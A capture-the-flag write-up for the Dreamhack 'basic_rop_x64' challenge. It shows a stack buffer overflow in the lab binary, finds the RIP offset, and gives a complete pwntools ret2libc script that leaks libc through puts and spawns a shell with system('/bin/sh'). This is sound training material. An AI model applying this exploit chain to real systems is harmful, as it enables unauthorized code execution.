Write-up of the challenge “basic_rop_x64”
This challenge is part of the “Binary exploitation” category and is in Level 2.
Goal of the challenge
The objective of this challenge is to ROP after finding the libc base and overwrite the RIP to a shell.
Program structure
#include <stdio.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>
void alarm_handler() { puts("TIME OUT"); exit(-1);}
void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler); alarm(30);}
int main(int argc, char *argv[]) { char buf[0x40] = {};
initialize();
read(0, buf, 0x400); write(1, buf, sizeof(buf));
return 0;}Security breach
The vulnerability here is:
read(0, buf, 0x400);It is a bof where the buff is 0x40 and we are reading 0x400.
Problem
The problem I had was very strange. I was almost certain that I did the correct ROP so I decided what if the authors did something wrong? After some debuggning turns out that when we are runing this locally we should have libc /lib/x86_64-linux-gnu/libc.so.6 and when remote we should have it libc.so.6. I came to this coclusion when I realized that the libc base was not page aligned when using libc.so.6 but was page aligned when using /lib/x86_64-linux-gnu/libc.so.6 locally.
I did a simple check: If the libc ends with 000, then it should be healthy, if it isn’t then something is wrong!
With libc.so.6 locally┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/basic_rop_x64]└─$ python3 solve.py0x7ff28a643c10[*] Switching to interactive mode
With /lib/x86_64-linux-gnu/libc.so.6 locally┌──(venv_lin)(abdullah㉿Abdullah)-[/mnt/d/chals/Dreamhack/pwn/basic_rop_x64]└─$ python3 solve.py0x7f4714f4a000[*] Got EOF while reading in interactive$Bingo!, my predication was right and for the local we should use /lib/x86_64-linux-gnu/libc.so.6 and for the remote we should use libc.so.6.
Solution
First I started off by finding the offset to RIP:
pwndbg ./basic_rop_x64pwndbg> cyclic 400aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabpwndbg> raaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabaaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaa
RBP 0x6161616161616169 ('iaaaaaaa')
pwndbg> cyclic -o iaaaaaaaFinding cyclic pattern of 8 bytes: b'iaaaaaaa' (hex: 0x6961616161616161)Found at offset 64Notice how it crashed at RBP, we need to add 8 bytes to reach the RIP, which gives us the offset 72.
So our goal here is very simple. First we add padding to reach the RIP, then we use puts_plt to leak the read_got which we know it 100% exists from the source code:
read(0, buf, 0x400);After that we come back to main and get our leak. We take into consideration that the libc base starts with 7f and we should read it backward because it is little endian. I did some debugging and found out that there is two garbage bytes which we will skip therefore we would be reading the last 6 bytes when reaching 7f. After getting the base, we subtract it from the read in the libc. After it we just add padding to reach the RIP and then execute system(‘/bin/sh’).
The important part is that we are going to use libc.so.6 for the remote because it is page aligned there.
from pwn import *
# p = process('./basic_rop_x64')
p = remote('host8.dreamhack.games', 18873)
e = ELF('./basic_rop_x64')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
rop = ROP(e)
pop_rdi = rop.find_gadget(['pop rdi'])[0]read_got = e.got['read']puts_plt = e.plt['puts']main = e.sym['main']ret = rop.find_gadget(['ret'])[0]
offset_RIP = 72
payload = b'A' * offset_RIPpayload += p64(pop_rdi)payload += p64(read_got)payload += p64(puts_plt)payload += p64(main)p.sendline(payload)
# Hop over our paddingp.recv(offset_RIP - 8)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))base = leak - libc.symbols['read']
# print(hex(base))
binsh = base + next(libc.search(b'/bin/sh'))libc.address = basesystem = libc.symbols['system']
payload = b'A' * offset_RIPpayload += p64(ret)payload += p64(pop_rdi)payload += p64(binsh)payload += p64(system)p.sendline(payload)
p.interactive()